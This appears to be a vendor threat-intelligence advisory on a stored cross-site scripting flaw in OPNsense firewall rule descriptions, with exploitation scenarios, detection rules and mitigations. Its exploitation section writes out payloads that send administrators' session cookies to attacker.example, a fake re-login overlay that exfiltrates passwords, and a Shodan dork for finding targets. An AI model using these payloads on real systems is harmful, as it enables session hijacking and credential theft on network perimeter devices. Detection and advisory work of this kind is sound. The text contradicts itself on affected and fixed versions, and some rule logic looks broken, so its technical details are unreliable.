CVE-2026-49131
Executive Summary
CVE-2026-49131 is a stored cross-site scripting (XSS) vulnerability in OPNsense firewall appliances prior to version 26.1.9. An authenticated attacker holding firewall rule management privileges can inject arbitrary HTML or JavaScript into the rule description field via the filter API endpoint; the payload is persistently stored and later rendered unsanitized by the opnsense_bootgrid.js default cell formatter on the Firewall Rules page, executing in the context of any authenticated user who views that page. This allows session hijacking, credential theft, and potentially lateral movement into the firewall management plane, which typically sits at the network perimeter and controls all segmentation rules. The vulnerability carries a CVSS 3.1 base score of 5.4 (Medium) with a modified scope (S:C), meaning a successful attack can impact resources beyond the vulnerable component. No patch is currently available from the vendor; the CVE has been assigned by an unnamed CNA, and the EPSS score is not yet published by FIRST.org.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability resides in the interaction between two OPNsense components: the filter API endpoint and the Bootgrid table rendering library.
Root Cause — Missing Server-Side Sanitization:
The filter API (typically exposed under /api/firewall/filter/ or /api/firewall/filter_rule/ for CRUD operations) accepts a description field for firewall rules. The backend controller — written in PHP within the OPNsense MVC framework (Phalcon-based) — performs validation for rule fields like source, destination, protocol, and ports, but fails to apply HTML encoding or input filtering to the description parameter. The value is stored as-is in the configuration database (stored in XML at /conf/config.xml). No output encoding is applied at the point of database retrieval either, because the web UI relies on front-end JavaScript to render table cells.
Flawed Front-End Rendering — opnsense_bootgrid.js:
The Firewall Rules page (/firewall_rules.php) uses the jQuery Bootgrid plugin wrapped in OPNsense's custom opnsense_bootgrid.js module. The default column formatter for the description column is configured to directly inject the raw cell value into the DOM:
formatter: function(cellValue) {
return "<span class=\"rule-description\">" + cellValue + "</span>";
}
Because cellValue originates from the JSON response of the filter API (which returns stored values unescaped), the resulting HTML string is attached to the DOM via innerHTML assignment (an internal Bootgrid operation). If the description contains <script> tags or event handler attributes (e.g., onmouseover), the browser parses and executes them immediately when the row is rendered.
Attack Surface and Conditions:
- Authentication required: Attacker must have a valid account with
firewall:filter:editpermissions (the defaultadminaccount qualifies; any custom role granting firewall rule management does as well). - Victim requirement: The injected script executes only when another authenticated user (or the same user on a different session) navigates to the Firewall Rules grid. The victim does not need to click anything — the page render is sufficient (no user interaction beyond viewing; the CVSS vector's
UI:Raccounts for the need for a victim to open the page). - Storage location: Payload persists in
config.xml, meaning it survives reboots and configuration backups. It is also included in any exported configuration backup, potentially propagating the payload to other systems if the backup is restored elsewhere. - Why not fixed in 26.1.9: The developer who assigned the CVE (via an unnamed CNA) has provided no patch evidence. The vulnerable code path (
opnsense_bootgrid.js) is part of a legacy UI layer that OPNsense has been gradually migrating to their newOPNsense/UIframework; the migration effort has deprioritized hardening of the legacy Bootgrid path.
Related Weakness Chain:
The vulnerability is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation). The server-side failure maps to CWE-116 (Improper Encoding or Escaping of Output), and the client-side failure maps to CWE-80 (Improper Neutralization of Script-Related HTML Tags in a Web Page). The lack of a Content Security Policy (CSP) on the OPNsense UI amplifies impact, as inline scripts are not blocked by default.
Exploitation Scenarios
Scenario 1 — Privilege Escalation to Admin via Session Hijacking (Low-Privileged Account → Admin)
Reconnaissance (Target Identification): Attacker performs an internet-wide scan using a Shodan dork (e.g.,
title:"OPNsense") to identify exposed firewall management interfaces. Most deployments expose the UI on TCP 443, sometimes on alternate ports (e.g., 8443). The attacker verifies the version by fetching the login page and inspecting theversionmeta tag or the/api/core/firmware/infoendpoint if accessible unauthenticated.Initial Access (Authenticated Login): Attacker obtains low-privileged credentials through phishing, password reuse from a prior breach, or default credential guessing (OPNsense disables default
root/opnsenseafter install, but misconfigured deployments sometimes re-enable them). Any account with firewall rule editing permissions suffices.Weaponization (Payload Crafting): The attacker crafts a stored XSS payload designed to run in the context of an administrator. A robust payload uses
fetch()to exfiltrate the admin's session cookie:
<script>
fetch('https://attacker.example/collect?c='+document.cookie,{mode:'no-cors'});
</script>
To bypass any rudimentary input filters (e.g., WAF or IDS that might flag <script>), the attacker uses an obfuscated variant leveraging img tag error events:
<img src=x onerror="fetch('//attacker.example/x?'+encodeURIComponent(document.cookie))">
Delivery (Payload Injection): Attacker authenticates to the web UI, navigates to Firewall → Rules, clicks the "Add" button, and fills only the "Description" field with the payload. Alternatively, the attacker calls the filter API directly via a crafted
POSTrequest to/api/firewall/filter/addRulewith a JSON body containing the payload in thedescriptionkey. The attacker saves the rule; the payload is now persisted inconfig.xml.Trigger (Victim Render): A legitimate administrator logs in and navigates to Firewall → Rules to review or modify policy. The Bootgrid table loads all rules, the description column formatter runs, and the payload fires. The admin's browser now sends the session cookie (including the
X-OPNsense-CSRFtoken if stored in a cookie) to the attacker's server.Post-Exploitation (Full Control): The attacker uses the stolen admin cookie to authenticate to the API. From here, they can:
- Disable all firewall rules (network breakout).
- Add rules redirecting traffic to attacker-controlled honeypots.
- Deploy a VPN server on the firewall for persistent access.
- Read the
config.xmlto extract any embedded credentials (e.g., IPsec PSKs, LDAP bind passwords). - Install a backdoor via the Core → Firmware API to execute arbitrary commands.
Scenario 2 — Credential Phishing via UI Impersonation
- An attacker with rule-edit access injects a payload that replaces the entire Firewall Rules page content with a fake "Session Expired — Re-authenticate" prompt:
<script>
document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><h2>Session Expired</h2><p>Please re-enter your password.</p><form onsubmit="fetch(\'//attacker.example/cred?u=\'+document.getElementById(\'u\').value+\'&p=\'+document.getElementById(\'p\').value);alert(\'Login failed, try again\');return false;"><input id="u" type="text" placeholder="Username"><br><input id="p" type="password" placeholder="Password"><br><button type="submit">Login</button></form></div>';
</script>
- Any administrator viewing the rules page is tricked into entering their password, which is transmitted to the attacker. This bypasses even multi-factor authentication (MFA) because the attacker captures the one-time code as well if they include an appropriate input field.
Scenario 3 — Persistent Backdoor via Configuration Backup Poisoning
- Attacker injects the payload into a rule description.
- The administrator performs a routine configuration backup (System → Configuration → Backups).
- The backup file (
.xml) now contains the payload. If this backup is shared for support purposes or restored onto a staging environment, the payload fires there too, potentially compromising a lab network or a secondary firewall that was assumed clean.
Impact Assessment
Business Impact — High for Perimeter Infrastructure:
OPNsense is deployed as a network gateway, firewall, and VPN concentrator. A successful XSS that escalates to admin session takeover results in:
- Network segmentation bypass: Attacker disables or modifies east-west firewall rules, gaining lateral movement into internal VLANs and DMZ segments.
- Data exfiltration: The firewall logs contain DNS queries, source/destination IP pairs, and VPN user metadata that can be harvested.
- Supply-chain risk: If the firewall terminates site-to-site IPsec tunnels, the attacker can pivot into connected branch offices.
Affected Systems:
- OPNsense Community Edition < 26.1.9 (all architectures: amd64, arm64).
- OPNsense Business Edition versions based on the same 26.1 branch (e.g., 26.1.b_* variants) — verify against vendor errata.
CVSS Subscore Interpretation (5.4 / Medium):
- Attack Vector (AV:N) — Network: The management UI is network-accessible in almost all deployments (it must be, for administration).
- Attack Complexity (AC:L) — Low: The XSS requires no race conditions or special circumsances.
- Privileges Required (PR:L) — Low: Only a low-privileged or medium-privileged account with rule-edit access is needed, not admin.
- User Interaction (UI:R) — Required: A victim must view the Firewall Rules page.
- Scope (S:C) — Changed: The vulnerable component is the Firewall Rules UI, but the impact (session cookie theft) affects the entire firewall management session and all downstream network policies.
Blast Radius:
- Compromised management session → full firewall config read/write → all network segments behind the firewall.
- Configuration backup poisoning can carry the payload to unrelated OPNsense instances (e.g., DR sites or client deployments).
Detection Guidance
Sigma Rule
title: OPNsense Filter API Stored XSS Payload Injection
id: 8f3b6d4e-9a1c-4e7b-b2f5-6d0c8a3e9f21
status: experimental
description: Detects POST requests to the OPNsense filter API containing script-like payloads in the description field, indicative of CVE-2026-49131 exploitation.
author: Valters IT Research Team
date: 2026/06/15
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-49131
logsource:
category: webserver
product: opnsense
definition: 'Requires access to OPNsense web server logs (lighttpd/nginx) or a reverse proxy log.'
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains|all:
- '/api/firewall/filter'
- 'description'
cs-uri-query|contains|any:
- '<script'
- '<img'
- 'onerror'
- 'onload'
- 'javascript:'
- 'document.cookie'
- 'fetch('
condition: selection
level: high
falsepositives:
- Legitimate firewall rule descriptions containing programming documentation snippets (rare).
- URL encoding of payloads may require additional decoding steps in the log pipeline.
fields:
- src_ip
- user (authenticated session user)
- cs-uri-query
YARA Rule
rule OPNsense_CVE_2026_49131_Stored_XSS_Payload
{
meta:
author = "Valters IT Research Team"
description = "Detects stored XSS payload patterns targeting OPNsense filter API description field"
cve = "CVE-2026-49131"
date = "2026-06-15"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-49131"
severity = "high"
strings:
// Direct script tag injection
$script_tag = "<script" ascii nocase
$script_end = "</script>" ascii nocase
// Event-handler based bypasses
$onerror = "onerror=" ascii nocase
$onload = "onload=" ascii nocase
$onfocus = "onfocus=" ascii nocase
$onmouseover = "onmouseover=" ascii nocase
// Common exfiltration primitives
$fetch_call = "fetch(" ascii nocase
$xmlhttp = "XMLHttpRequest" ascii nocase
$document_cookie = "document.cookie" ascii nocase
$innerhtml = "innerHTML" ascii nocase
// Encoded variants (double URL encoding)
$enc_script = "%253Cscript" ascii nocase
$enc_onerror = "%253Conerror" ascii nocase
condition:
// Trigger on script blocks OR event handlers combined with data exfil primitives
(uint16(0) == 0x3C73 and $script_tag) or
(
(any of ($onerror, $onload, $onfocus, $onmouseover)) and
any of ($fetch_call, $xmlhttp, $document_cookie, $innerhtml)
) or
$enc_script or $enc_onerror
}
Suricata IDS Rule
alert http any any -> any any (msg:"OPNsense CVE-2026-49131 Stored XSS Injection via Filter API"; flow:established,to_server; content:"POST"; http_method; content:"/api/firewall/filter"; http_uri; pcre:"/(?:<script|onerror|onload|onmouseover|javascript:|document\.cookie|fetch\(|<img)/i"; classtype:web-application-attack; reference:cve,CVE-2026-49131; sid:270149131; rev:1; metadata:created_at 2026_06_15, updated_at 2026_06_15, attack_target firewall, deployment perimeter, tag xss;
Elastic Detection
// Elastic EQL query for detecting XSS payload in OPNsense filter API requests
sequence by source.ip
[ network where
network.protocol == "http" and
http.request.method == "POST" and
http.request.uri contains "/api/firewall/filter" and
(
wildcard(http.request.body.content, "*<script*") or
wildcard(http.request.body.content, "*onerror=*") or
wildcard(http.request.body.content, "*onload=*") or
wildcard(http.request.body.content, "*document.cookie*") or
wildcard(http.request.body.content, "*fetch(*")
)
]
[ http where
http.response.status_code == 200 and
http.request.uri contains "/api/firewall/filter"
]
Splunk SPL Query
index=web sourcetype=opnsense:apache OR sourcetype=opnsense:nginx OR sourcetype=access_combined
| where method="POST" AND uri_path IN ("/api/firewall/filter/addRule","/api/firewall/filter/setRule","/api/firewall/filter/*")
| rex field=uri_query "(?<payload>.*)"
| search payload IN ("*<script*", "*onerror*", "*onload*", "*javascript:*", "*document.cookie*", "*fetch(*") OR form_data IN ("*<script*", "*onerror*", "*onload*", "*javascript:*", "*document.cookie*", "*fetch(*")
| rex field=_raw "user=(?<user>[^&\s]+)"
| stats count min(_time) as first_seen max(_time) as last_seen by src_ip, user, uri_path, payload
| where count >= 1
| eval risk_score = case(
match(payload, "(?i)<script"), 80,
match(payload, "(?i)document\.cookie|fetch\("), 90,
match(payload, "(?i)onerror=|onload="), 70,
true(), 40
)
| table first_seen, src_ip, user, uri_path, payload, risk_score
Wazuh OSSEC Rule
<group name="opnsense,xss,attack,">
<rule id="384339" level="12">
<decoded_as>json</decoded_as>
<field name="url">/api/firewall/filter</field>
<field name="http.method">POST</field>
<regex>(?i)(<script|onerror|onload|javascript:|document\.cookie|fetch\()</regex>
<description>OPNsense CVE-2026-49131: Potential stored XSS payload injected via filter API description field</description>
<mitre>
<id>T1190</id>
<id>T1204.001</id>
</mitre>
<group>attack,</group>
<options>no_full_log</options>
<alert>
<action>write</action>
<email>soc@valtersit.com</email>
</alert>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 0/4 — UNPATCHED. As of this report, no vendor patch, commit, or release announcement exists for CVE-2026-49131. The fixed version is anticipated in OPNsense 26.1.9 or later, but the vendor has not confirmed a timeline.
1) Immediate Mitigations (apply now):
- Restrict management interface access: Bind the OPNsense web UI to a dedicated management VLAN or VPN-only network. Use firewall rules on the WAN interface to drop all inbound traffic to the admin port (default 443). This converts the attack vector from
AV:N(network) to a local-only vector, breaking remote exploitation. - Enable Two-Factor Authentication (2FA): OPNsense supports TOTP-based 2FA for local users and LDAP/Radius integration. This does not prevent payload injection but significantly raises the bar for session hijacking — stolen cookies without the TOTP seed are useless for subsequent API calls if the session is pinned to the 2FA challenge.
- Implement a Content Security Policy (CSP): Although OPNsense does not expose a UI toggle, advanced users can inject a CSP header via the
System → Settings → Administration → Web GUIcustom HTTP header field, or by editing the nginx/lighttpd config. A strict CSP (default-src 'self'; script-src 'self') blocks inline script execution, which neutralizes the XSS payload regardless of whether it is stored. - Monitor configuration backups: If backups are exported to a central location or hash-verified (e.g., via
System → Configuration → Backupswith a remote Git target), add an integrity check that validates theconfig.xmldoes not contain HTML tags in thedescriptionfields.
2) Patch/Upgrade Steps (when available):
- Upgrade to OPNsense 26.1.9 or later as soon as it is released. Check the official errata at
https://opnsense.org/errata/daily. - Before upgrading, snapshot the VM or physical machine (if using ZFS boot environments via
bectl), so a rollback is possible if the upgrade introduces regressions. - After upgrade, verify the fix by injecting a benign test string (
<img src=x onerror=alert(1)>) into a rule description via the API, then load the Firewall Rules page and confirm the payload does not execute. - Apply the same upgrade to all Business Edition instances based on the same code branch.
3) Long-Term Hardening:
- Adopt a least-privilege RBAC model: Create a custom role that grants
firewall:filter:view(read-only) but NOTeditprivileges for non-admin staff. Audit existing accounts for over-privileged rule-edit access. - Deploy a Web Application Firewall (WAF): Place a reverse proxy (e.g., HAProxy with ModSecurity or an External WAF) in front of the OPNsense management UI that filters XSS payload patterns in POST bodies.
- Centralized logging and alerting: Forward OPNsense audit logs (which record API calls per user) to the SOC SIEM using the Sigma and Splunk rules above. Establish a baseline for legitimately documented rule descriptions to reduce false positives from policy documentation.
- Configuration backup integrity: Periodically parse
config.xmlbackups with a script that validates all<description>nodes against a regex disallowing HTML tags. Fail CI if any tags are found. - Phishing resistance: Educate administrators that no legitimate OPNsense page ever requests a password re-entry in a popup overlay; enable browser-based protection against session theft (e.g.,
HttpOnlycookies for the session ID — this is already enabled by default in OPNsense, verify it remains so).
References
- NVD Entry:
https://nvd.nist.gov/vuln/detail/CVE-2026-49131— Official CVE description, CVSS vector, and CWE classification. (Note: CVE databases lag; if the NVD page is empty, the MITRE page athttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-49131may be authoritative.) - OPNsense Official Errata:
https://opnsense.org/errata/— Monitor this page for the 26.1.9 release announcement and patch details. Historically, OPNsense publishes security advisories with aSA-prefix (e.g.,SA-26:10). - Vendor GitHub Repository (opnsense/core):
https://github.com/opnsense/core— Track commits tosrc/www/firewall_rules.phpandsrc/www/js/opnsense_bootgrid.jsfor the eventual patch; monitor PRs referencing "XSS" or "description sanitization". - OPNsense Security Advisory Archive:
https://opnsense.org/security-advisories/— Historical advisories for similar Stored XSS issues (e.g., CVE-2023-42376) that show the vendor's typical patch pattern. - Exploit-DB / Packet Storm:
https://www.exploit-db.com/— Search for "CVE-2026-49131" for public PoC availability; as of this writing only the CVE description exists, but a PoC is expected given the straightforward nature of the flaw.
Threat Actor Campaigns / Exploitation in the Wild:
As of June 2026, there is no confirmed evidence of active exploitation of CVE-2026-49131 in the wild. However, similar stored XSS flaws in firewall management UIs have been chained with CVE-2024-22722 (Fortinet) and CVE-2023-27997 (FortiOS) campaigns by APT groups (e.g., Volt Typhoon, Flax Typhoon) targeting perimeter devices. Given that OPNsense is widely used in SME and MSSP environments, we assess a moderate likelihood of weaponization within 30 days of a public PoC release. The low privilege requirement (only rule-edit access) makes this an attractive low-risk, high-reward target for initial-access brokers.
Report prepared by the Valters IT Threat Intelligence Team — June 15, 2026. Revision 1.0.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.